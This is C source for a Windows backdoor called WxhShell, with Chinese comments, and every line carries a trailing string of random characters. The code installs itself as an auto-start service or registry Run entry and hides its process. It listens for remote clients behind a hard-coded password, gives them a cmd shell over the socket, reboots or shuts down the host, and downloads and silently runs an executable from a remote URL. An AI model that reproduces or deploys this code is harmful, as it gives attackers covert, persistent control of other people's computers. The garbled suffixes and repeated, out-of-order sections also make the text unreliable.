    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H%etYpD  
    else { {bR2S&=OmK  
    closesocket(wsh); KVr9kcs  
    ExitThread(0);  wlsx|  
    } JWYe~  
    break; `<g6^P  
    } *8uS,s6g  
  // 关机 u{h67N  
  case 'd': { '7/F]S0K  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); : p)R,('g  
    if(Boot(SHUTDOWN)) wy8Q=X:vP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a DXaQ  
    else { Vo+.s#wN`h  
    closesocket(wsh); j7QK8O$XL  
    ExitThread(0); j*[P\Cm  
    } 1KbZ6Msy  
    break; 4c95G^dZ  
    } #/jug[wf*!  
  // 获取shell w-2#CX8jY  
  case 's': { /H"fycZ  
    CmdShell(wsh); \HkBp& bqK  
    closesocket(wsh); [f! { -T  
    ExitThread(0); 3;VH'hh_  
    break; #ACT&J  
  } OzD\* ,{7  
  // 退出 x;$ESPPg  
  case 'x': { e^3D`GA  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); HA,8O [jon  
    CloseIt(wsh); @/ |g|4  
    break; HfgTc h  
    } hczDu8  
  // 离开 pgiZA?r*<  
  case 'q': { @eeI4Jz  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); W]DGt|JP  
    closesocket(wsh); Du65>O  
    WSACleanup(); {9-9!jN{"  
    exit(1); O39   
    break; TfT^.p*  
        } -gk2$P-  
  } {:*G/*1[.  
  } U5TkgHN{y  
j6RV{Lkr_  
  // 提示信息 IN<nZ?D#  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); pe0ax- Zv  
} ZJU %&@  
  } o$l8"Uv  
Z37Dv;&ZD  
  return; R!QR@*N  
} y0(.6HI  
s R>>l3H  
// shell模块句柄 5,s@K>9l;  
int CmdShell(SOCKET sock) m"/..&'GC  
{ n44 T4q  
STARTUPINFO si; K>e-IxA);0  
ZeroMemory(&si,sizeof(si)); *]NfT}}  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; q[W6I9  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; -,+C*|mu  
PROCESS_INFORMATION ProcessInfo; ar\|D\0V  
char cmdline[]="cmd"; }T(=tfv@  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); cZ|NGkZ  
  return 0; l+>Y  
} L(K 5f7\  
NQ;X|$!zH  
// 自身启动模式 }|2A6^FH.  
int StartFromService(void) L&)e}"  
{ ^.iRU'{  
typedef struct s|A[HQUtJ  
{ 1E / G+pm  
  DWORD ExitStatus; ^pd7nr~Y  
  DWORD PebBaseAddress; i 0/QfB%O  
  DWORD AffinityMask; ``k[CgV  
  DWORD BasePriority; .U=x2txb  
  ULONG UniqueProcessId; ;lb  
  ULONG InheritedFromUniqueProcessId; ;YY<KuT  
}   PROCESS_BASIC_INFORMATION; Q"~%T@e  
lSaX!${R'T  
PROCNTQSIP NtQueryInformationProcess; y3 b"'-%  
J-'XT_k:iM  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; LYL_Ah'=  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; =|aZNHqH  
q MrM^ ~  
  HANDLE             hProcess; _,60pr3D'  
  PROCESS_BASIC_INFORMATION pbi; u8KQV7E  
~mt{j7  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); $Z]@N nA9N  
  if(NULL == hInst ) return 0; mOh?cjOi  
"GZ}+K*GG  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); +em!TO  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); R/"-r^j  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); BWxJ1ENM  
Z3c\}HLY  
  if (!NtQueryInformationProcess) return 0; #~/9cVm$  
*9r(lmrfj  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); h7fytO  
  if(!hProcess) return 0;  rn( drG  
K)    
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; +`gU{e,p  
^`lrKk  
  CloseHandle(hProcess); Q njK<}M9  
TO5y.M|7  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); n:wAxU  
if(hProcess==NULL) return 0; @OT$* Qh  
#tHYCSr]  
HMODULE hMod; =dHdq D  
char procName[255]; dtY8>klI  
unsigned long cbNeeded; go yDG/  
KG(FA  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 6?%$e$s  
^.)0O3oC  
  CloseHandle(hProcess); dF 6od  
]U'zy+  
if(strstr(procName,"services")) return 1; // 以服务启动 iR9duP+  
G)[gLD{g?  
  return 0; // 注册表启动 B.od{@I(Xp  
} bcwb'D\a  
f?=0Wzb  
// 主模块 n_]B5U  
int StartWxhshell(LPSTR lpCmdLine) !m~r0M7  
{ l lcq~*zz  
  SOCKET wsl; s 7w A3|9  
BOOL val=TRUE; =s*c(>  
  int port=0; (-0d@eqw  
  struct sockaddr_in door; 8r"-3<*  
}z/%b<o_  
  if(wscfg.ws_autoins) Install(); %7`eT^  
+RM!j9Rq  
port=atoi(lpCmdLine); X,G"#j^  
f ]_ki  
if(port<=0) port=wscfg.ws_port; X=f%!  
._j?1Fw`  
  WSADATA data; 0Cf'\2  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; fW=<bf  
$Lbamg->E  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   C :sgT6  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); w{_g"X  
  door.sin_family = AF_INET; 'lpCwH  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); J Bq6Qg  
  door.sin_port = htons(port); }BT0dKx  
X!~y&[;[C  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { qhTVsZ:{C  
closesocket(wsl); di+ |` O  
return 1; HbPn<x^7  
} ]G8"\J4 &  
>0iCQKq  
  if(listen(wsl,2) == INVALID_SOCKET) { AFBWiuwI3  
closesocket(wsl); K% snE7X?)  
return 1; #/H2p`5  
} =(\BM')l  
  Wxhshell(wsl); N8kNi4$mp=  
  WSACleanup(); 60ciI,_`  
KrG,T5  
return 0; -\B*reC  
M,kO7g  
} nTtEv~a_n  
..BP-N)V)  
// 以NT服务方式启动 *]R5bj.!o  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) T4}Wg=UKg  
{ m:0[as=  
DWORD   status = 0; Qa:[iF  
  DWORD   specificError = 0xfffffff; (dyY@={q  
]o=ON95ja  
  serviceStatus.dwServiceType     = SERVICE_WIN32; }!Pty25j  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; |w#~v%w  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; w 2U302TZ  
  serviceStatus.dwWin32ExitCode     = 0; 0,@^<G8?  
  serviceStatus.dwServiceSpecificExitCode = 0; ?>V>6cDQ  
  serviceStatus.dwCheckPoint       = 0; nnT#S  
  serviceStatus.dwWaitHint       = 0; I][&*V1  
Np$&8v+en  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 8* #$ 3e  
  if (hServiceStatusHandle==0) return; T2rBH]5  
l.g.O>1   
status = GetLastError(); 1$C?+H  
  if (status!=NO_ERROR) y4IQa.F  
{ IqepR >5t  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; %*Mr ^=  
    serviceStatus.dwCheckPoint       = 0; }hg2}g99  
    serviceStatus.dwWaitHint       = 0; 1+7_L`SB  
    serviceStatus.dwWin32ExitCode     = status; ~a_X 7  
    serviceStatus.dwServiceSpecificExitCode = specificError; K*,,j\Q.  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); f9kd&#O&  
    return; b$*2bSdv0<  
  } jC}HNiM78  
r1vS~ 4Z  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ns\I Y<Yo  
  serviceStatus.dwCheckPoint       = 0; $- %um  
  serviceStatus.dwWaitHint       = 0; ibwV #6  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); kn$_X4^?  
} 0QfDgDX  
oyk&]'>  
// 处理NT服务事件,比如:启动、停止 OX]P;#4tU  
VOID WINAPI NTServiceHandler(DWORD fdwControl) <,/7:n  
{ ,~1k:>njY~  
switch(fdwControl) xHaz*w1|  
{ Kj3Gm>B<y  
case SERVICE_CONTROL_STOP: srO>l ;Vf/  
  serviceStatus.dwWin32ExitCode = 0; "sDs[Lcq  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; lP]Y^Gz  
  serviceStatus.dwCheckPoint   = 0; OQ wO7Z  
  serviceStatus.dwWaitHint     = 0; z9OpxW@Ou  
  { ,tyPZR_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Tl[*(| /C  
  } SRk!HuXh  
  return; @>~\So|  
case SERVICE_CONTROL_PAUSE: L'aB/5_%  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; m F+8Q  
  break; .{`C>/"}  
case SERVICE_CONTROL_CONTINUE: GU@#\3  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; F?H=2mzKbz  
  break; Pz:,de~5Qm  
case SERVICE_CONTROL_INTERROGATE: Y[}A4`  
  break; aD'Ax\-  
}; +5Dc5Bl  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); a L+>XN  
} "gm5 DE  
q6nRk~  
// 标准应用程序主函数 w <"mS*Q  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) a`f@&A`z  
{ Zxqlhq/)  
z,SI  
// 获取操作系统版本 "Z,T%]  
OsIsNt=GetOsVer(); CZeZk  
GetModuleFileName(NULL,ExeFile,MAX_PATH); `W~    
DQXcf*R  
  // 从命令行安装 Xz)F-C27h  
  if(strpbrk(lpCmdLine,"iI")) Install(); .RFH@''  
H2#o X  
  // 下载执行文件 M")/6PH8  
if(wscfg.ws_downexe) { lA/-fUA  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 6z6\xkr  
  WinExec(wscfg.ws_filenam,SW_HIDE); `\\s%}vZ*T  
} ?0* [ L  
L;j++^p  
if(!OsIsNt) { m26YAcip}  
// 如果时win9x,隐藏进程并且设置为注册表启动 ~v pIy-  
HideProc(); \'Et)uD*  
StartWxhshell(lpCmdLine); b$#b+G{y  
} 4E=v)C'  
else t;h`nH[  
  if(StartFromService()) L_vl%ii-  
  // 以服务方式启动 Z10}xqi!X  
  StartServiceCtrlDispatcher(DispatchTable); QOg >|"KL  
else >&S}u\/  
  // 普通方式启动 zN[& iKf  
  StartWxhshell(lpCmdLine); @$%GszyQ'  
v7./u4S|V  
return 0; x:!s+q` s  
} ml1%C%  
JOt(r}gU  
9.M'FCd~M  
o#f"wQH;p  
=========================================== jLVD37 P^  
hPBBXj/=  
|H_WY#  
\2a;z<(  
GK'p$`oJm  
o&%v"#H2  
" 04;s@\yX4  
C2v_] ,]  
#include <stdio.h> ={oNY.(Q  
#include <string.h> ~Y CH5,  
#include <windows.h> ,7)hrA$(  
#include <winsock2.h> a6DR' BC  
#include <winsvc.h> F.$z7ee@  
#include <urlmon.h> [I4M K%YQ  
=cjO]  
#pragma comment (lib, "Ws2_32.lib") ~i%=1&K&`  
#pragma comment (lib, "urlmon.lib") ,/b!Xm:  
=#W:z.w  
#define MAX_USER   100 // 最大客户端连接数 3_XLx{["'  
#define BUF_SOCK   200 // sock buffer r@zT!.sc!  
#define KEY_BUFF   255 // 输入 buffer >iOf3I-ATt  
8ex;g^e  
#define REBOOT     0   // 重启 LPt9+sauf1  
#define SHUTDOWN   1   // 关机 oxc;DfJ_  
<L qJg  
#define DEF_PORT   5000 // 监听端口 Ei@  
g[pU5%|"[  
#define REG_LEN     16   // 注册表键长度 TxG@#" ^g}  
#define SVC_LEN     80   // NT服务名长度 m- <y|3  
m#RJRuZ|2V  
// 从dll定义API 23^>#b7st  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); pPRX#3  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); B0Wf$ s^7t  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); raPOF6-_rH  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); /&#y-D_  
R~oJ-} iYX  
// wxhshell配置信息 BVb^xL  
struct WSCFG { l6HtZ(  
  int ws_port;         // 监听端口 ! s =$UC  
  char ws_passstr[REG_LEN]; // 口令 `X@\Zv=}  
  int ws_autoins;       // 安装标记, 1=yes 0=no jC>ZMy8U)4  
  char ws_regname[REG_LEN]; // 注册表键名 'D5J5+.z  
  char ws_svcname[REG_LEN]; // 服务名 %(eQ1ir+  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 T"Y#u  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 "{D/a7]lC  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 -@w,tbc$  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ~+4lmslR  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 9t\14tVwx  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 :;e OhZ=_  
iptA#<Yj  
}; xQvI$vP  
% E1r{`p  
// default Wxhshell configuration iw,uwh|L  
struct WSCFG wscfg={DEF_PORT, (v/L   
    "xuhuanlingzhe", *J[ P#y  
    1, a[~[l k=7  
    "Wxhshell", L1RD`qXu.  
    "Wxhshell", !ZUUn*e{5  
            "WxhShell Service", ON\bD?(VY  
    "Wrsky Windows CmdShell Service", h 8UhrD<:  
    "Please Input Your Password: ", ]}g\te  
  1, wL),/i&<  
  "http://www.wrsky.com/wxhshell.exe", ZzE(S  
  "Wxhshell.exe" BGibBF^  
    }; !u]@Ru34  
TzaeE  
// 消息定义模块 <<d#  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ]" V_`i7Z  
char *msg_ws_prompt="\n\r? for help\n\r#>";  ?pEPwc  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; R&W%E%uj  
char *msg_ws_ext="\n\rExit."; Lf%3-P  
char *msg_ws_end="\n\rQuit."; W'vekuM  
char *msg_ws_boot="\n\rReboot..."; jq)Bj#'7  
char *msg_ws_poff="\n\rShutdown..."; H[KX xNYZ_  
char *msg_ws_down="\n\rSave to "; q("XS  
.c]>*/(+  
char *msg_ws_err="\n\rErr!"; h623)C;  
char *msg_ws_ok="\n\rOK!"; `"CA$Se8  
72~L  ?  
char ExeFile[MAX_PATH]; c+3(|k-M  
int nUser = 0; y$7Ys:R~  
HANDLE handles[MAX_USER]; B`eK_'7t  
int OsIsNt; QTa\&v[f  
e+BZoK ^  
SERVICE_STATUS       serviceStatus; Lm}.+.O~d  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; m@kLZimD  
((]i}s0S  
// 函数声明 u=nd7:bv  
int Install(void); zl8M<z1`1  
int Uninstall(void); 5 OWyxO3{  
int DownloadFile(char *sURL, SOCKET wsh); MUl7o@{'  
int Boot(int flag); 9oc_*V0<  
void HideProc(void); -51LF=(!L  
int GetOsVer(void); (Nc~l ^a  
int Wxhshell(SOCKET wsl); k^ZP~.G  
void TalkWithClient(void *cs); /Yi4j,8!|  
int CmdShell(SOCKET sock); J(}PvkA  
int StartFromService(void); \9`E17i  
int StartWxhshell(LPSTR lpCmdLine); H'#06zP>5  
MkMDI)Y|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); fD[O tc  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); $$ *tK8#  
O#;sY`fy_M  
// 数据结构和表定义 39O rY  
SERVICE_TABLE_ENTRY DispatchTable[] = oQ -m  
{ 9 l~D}5e7  
{wscfg.ws_svcname, NTServiceMain}, M *w{PjU  
{NULL, NULL} DcBAncsK  
}; ^X{U7?x  
B /uaRi%  
// 自我安装 MuMq%uDA"  
int Install(void) F<{,W-my `  
{ z<9C-  
  char svExeFile[MAX_PATH]; :qxWANUa  
  HKEY key; h=`$ec  
  strcpy(svExeFile,ExeFile); gk| % 4.  
Y _`JS;  
// 如果是win9x系统,修改注册表设为自启动 &!4E3&+2m  
if(!OsIsNt) { Kw"e4 a  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { nZnqXclzxn  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); A^FkU  
  RegCloseKey(key); L }{3_/t  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :@jctH~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #z>I =gl  
  RegCloseKey(key); g]Y%c73  
  return 0; glCpA$;VPu  
    } ?=4oxPe  
  } ]@Y!,bw&  
} 'cc8 xC  
else { [err$  
oS$7k3s fj  
// 如果是NT以上系统,安装为系统服务 pLe4dz WA  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); %dnpO|L  
if (schSCManager!=0) [;IEZ/ZX  
{ AJ>E\DK0]  
  SC_HANDLE schService = CreateService a]fFR~ OY  
  ( \?t8[N\_[(  
  schSCManager, U[3w9  
  wscfg.ws_svcname, J'|[-D-a  
  wscfg.ws_svcdisp, i/-IjgM"-  
  SERVICE_ALL_ACCESS, X7OU=+g  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , cO{NiRIb  
  SERVICE_AUTO_START, iJhieNn  
  SERVICE_ERROR_NORMAL, d+)LK~  
  svExeFile, $!. [R}  
  NULL, |sr\SCx  
  NULL, BMO,eQcB  
  NULL, U@).jpN  
  NULL, ,=CipL9]  
  NULL |)To 0Z  
  ); 6R^F^<<  
  if (schService!=0) 1J1Jp|j.  
  { {J1rjrPo  
  CloseServiceHandle(schService); XM!oN^  
  CloseServiceHandle(schSCManager); <-N eusx%  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); gQik>gFr  
  strcat(svExeFile,wscfg.ws_svcname); !QAndg{;D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Tx&H1  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); |0F o{  
  RegCloseKey(key); H#GR*4x  
  return 0; ;p*L(8<YI  
    } .(Ux1.0C  
  } z^gz kXx7  
  CloseServiceHandle(schSCManager); _:Q^mV=;j  
} #]+BIr`  
} 3F;0a ;[  
rMWvW(@@D  
return 1; 1f^oW[w&  
} 0P$19T N  
yg}L,JJU<  
// 自我卸载 Rq|5%;1  
int Uninstall(void) M.5F|7  
{ jS3@Z?x?*  
  HKEY key; =>Ae]mi 7  
zQ<&[Tuwa  
if(!OsIsNt) { C`Vuw|Xl  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { A<H]uQ>  
  RegDeleteValue(key,wscfg.ws_regname); :, H_ e! X  
  RegCloseKey(key); +>it u J  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { N0lFx?4  
  RegDeleteValue(key,wscfg.ws_regname); <F_w4!  
  RegCloseKey(key); .6n|hYe  
  return 0; oIE(`l0l  
  } AS0(NlV  
} 8_>:0(y  
} T06w`'aL  
else { coaJDg+  
bU}!bol  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); -,=)O  
if (schSCManager!=0) +A,cdi9z  
{ \2@9k`  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); BI#(L={5  
  if (schService!=0) *sfz+8Y  
  { )CL/%I,^  
  if(DeleteService(schService)!=0) { 'uUa|J1mu  
  CloseServiceHandle(schService); IMSm  
  CloseServiceHandle(schSCManager); (o6 u ^#6  
  return 0; c$A}mL_  
  } OB,T>o@  
  CloseServiceHandle(schService); F+xMXBD@>*  
  } 3_VWtGQ  
  CloseServiceHandle(schSCManager); `b@"GOr  
} z9#jXC#OdN  
} 2(D&jL  
84Hm PPt  
return 1; Eh_[8:dK  
} Pt;\]?LVrD  
dnPr2oI?I  
// 从指定url下载文件 E\}Q9, Z$  
int DownloadFile(char *sURL, SOCKET wsh) |("5 :m  
{ QQ,w:OjA0  
  HRESULT hr; ;rF:$37^  
char seps[]= "/"; oDA'}[/  
char *token; KRcg  
char *file; ~0.@1zEXj  
char myURL[MAX_PATH]; VxAR,a1+n  
char myFILE[MAX_PATH]; R91u6r#  
0Zl1(;hx@  
strcpy(myURL,sURL); |om3*]7  
  token=strtok(myURL,seps); e''Wm.>g(+  
  while(token!=NULL) }S&SL)  
  { b}q,cm  
    file=token; -3b0;L&4>x  
  token=strtok(NULL,seps); ?at~il$z'  
  } X4*/h$48 w  
X]CaWxM  
GetCurrentDirectory(MAX_PATH,myFILE); WqU$cQD"  
strcat(myFILE, "\\"); WI'csM;M#  
strcat(myFILE, file); IPE(  
  send(wsh,myFILE,strlen(myFILE),0); kQBVx8Uq]  
send(wsh,"...",3,0); ~JT{!wcE}o  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); )ZmE"  
  if(hr==S_OK) I3aEg  
return 0; _H3cqD  
else ]X _&  
return 1; DwTZ<H4  
!! K=v7M  
} +l3 vIN  
EGMcU| yL  
// 系统电源模块 #QDV_ziE5  
int Boot(int flag) {5z?5i ?D  
{ 1Q;` <=  
  HANDLE hToken; YGn:_9  
  TOKEN_PRIVILEGES tkp; P?uKDON  
6<~y!\4;F  
  if(OsIsNt) { u})JQ<|  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); g%[Ruugu  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Q Y fS-  
    tkp.PrivilegeCount = 1; ohyUvxvj  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;  G0&w#j  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Zj<T#4?8  
if(flag==REBOOT) { [E/3&3  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) *:_hOOT+[  
  return 0; jH G(d$h  
} Tuy*Df  
else { ozo8 Tr  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) J\0YL\jw1K  
  return 0; MdfkC6P  
} i! nl%%  
  } ,J#5Y.  
  else { 8+W^t I  
if(flag==REBOOT) { ZqGq%8\.s  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 1f:k:Y9i  
  return 0; pVY.&XBZ$  
} rYqvG  
else { O#|E7;  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) /4 f;Niem  
  return 0; GgYomR:  
} C!P6Z10+j  
} \#}%E h b  
U#P#YpD;==  
return 1; f<'C<xnf  
} w?C\YKF7  
.PxM #;i2  
// win9x进程隐藏模块 /P%:u0fX,  
void HideProc(void) hU{%x#8}lK  
{ s5dh]vNN  
V+q RDQ  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); \CGcP  
  if ( hKernel != NULL ) !]nCeo  
  { xl^'U/  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); zkOgL9 (_8  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Z-?9F`}  
    FreeLibrary(hKernel); zl[JnVF\6  
  } v> 5F[0gE  
$9~1s/('  
return; sFTIRVXN,  
} yiq#p "Hs  
5  $J  
// 获取操作系统版本 ;z>YwRV  
int GetOsVer(void) @n(In$  
{ [C6?:'}FA  
  OSVERSIONINFO winfo; ZJ(!jc$"*%  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); u| c+w)a  
  GetVersionEx(&winfo); pS \>X_G3  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ~e<<aTwN  
  return 1; i]z i[Zo$  
  else \YS?}! 0  
  return 0; @gc"-V*-/  
} bRK9Qt#3  
3@L%#]xwi  
// 客户端句柄模块 \t@`]QzG:  
int Wxhshell(SOCKET wsl) jHCKV  
{ D,/9rH  
  SOCKET wsh; vp@+wh]#  
  struct sockaddr_in client; [Bo$?  
  DWORD myID; Hi9z<l=$  
sh2bhv]  
  while(nUser<MAX_USER) )|x5#b-lz  
{ 6pR#z@,  
  int nSize=sizeof(client); d ] ;pG(  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); X;:xGZ-oY  
  if(wsh==INVALID_SOCKET) return 1; F948%?a  
N}G(pq}  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); *lAdS]I  
if(handles[nUser]==0) ,m,vo_Ub  
  closesocket(wsh); s_!Z+D$K  
else $4L3y uH  
  nUser++; =1 \wZuK#  
  } x["  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); GcW}<g}  
9lCKz !E  
  return 0; 9K<a}QJP  
} d Al<'~g  
Pltju4.:C  
// 关闭 socket oFR'GUQC  
void CloseIt(SOCKET wsh) 0pa^O$?p  
{ h+D=/:B  
closesocket(wsh); =osw3"ng  
nUser--; 'Y\"^'OU\  
ExitThread(0); 0\@|M@X=  
} QL18MbfqP  
ZS]f+}0/}  
// 客户端请求句柄  q)+ n2FM  
void TalkWithClient(void *cs) P'9io!Z-s  
{ ^\jX5)2{  
}9 2lr87  
  SOCKET wsh=(SOCKET)cs; '/g+;^_cB  
  char pwd[SVC_LEN]; 4ZpF1Zc4B  
  char cmd[KEY_BUFF]; `+c9m^  
char chr[1]; %nf=[f  
int i,j; }#5roNH~Z  
u#k ,G`  
  while (nUser < MAX_USER) { y4rJ-  
| V,jd  
if(wscfg.ws_passstr) { >Eg. c  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9= $,]M  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); J&65B./mD9  
  //ZeroMemory(pwd,KEY_BUFF); _J~ta.  
      i=0; p+UHJ&  
  while(i<SVC_LEN) { FKnQwX.0  
-01 1U!  
  // 设置超时 l!V| T?  
  fd_set FdRead; y"p-8RVk{  
  struct timeval TimeOut; _|wY[YJ[  
  FD_ZERO(&FdRead); Z)T@`B6  
  FD_SET(wsh,&FdRead); aDvO(C  
  TimeOut.tv_sec=8; o\;"|O}  
  TimeOut.tv_usec=0; j{Jc6U  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); !_H8Q}a  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); tSc>@Q_|  
A6y~_dt  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); AYu'ptDNr  
  pwd=chr[0]; G|oB'~ {&  
  if(chr[0]==0xd || chr[0]==0xa) { qs1.@l("  
  pwd=0; Z6([/n  
  break; s5aOAyb*w  
  } ) a\DS yr  
  i++; EJ;0ypbG  
    } f(s3TLM  
akc"}+-oX  
  // 如果是非法用户,关闭 socket ?$@ KwA  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 1L=Qg4 H  
} xnuv4Z}]t  
|U$de2LF  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); +6M+hO]  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2|H91Y2  
/xm#:+Sc  
while(1) { ivUsMhx>S,  
-,fa{yt-  
  ZeroMemory(cmd,KEY_BUFF); FDd>(!>  
)C01f ZhD  
      // 自动支持客户端 telnet标准   {}J@+Zsi  
  j=0; -=t3O#  
  while(j<KEY_BUFF) { +=*m! 7Mr  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); OQL09u  
  cmd[j]=chr[0]; Ril21o! j  
  if(chr[0]==0xa || chr[0]==0xd) { fov=Yd!  
  cmd[j]=0; |RAQ%VXm  
  break; Wt)SdF=U/  
  } ,[}yf#8@J  
  j++; E4v_2Q -w  
    } q4.dLU,1  
U_}A{bFG  
  // 下载文件 m!#)JFe67  
  if(strstr(cmd,"http://")) { X!#i@V  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Y zBA{FE  
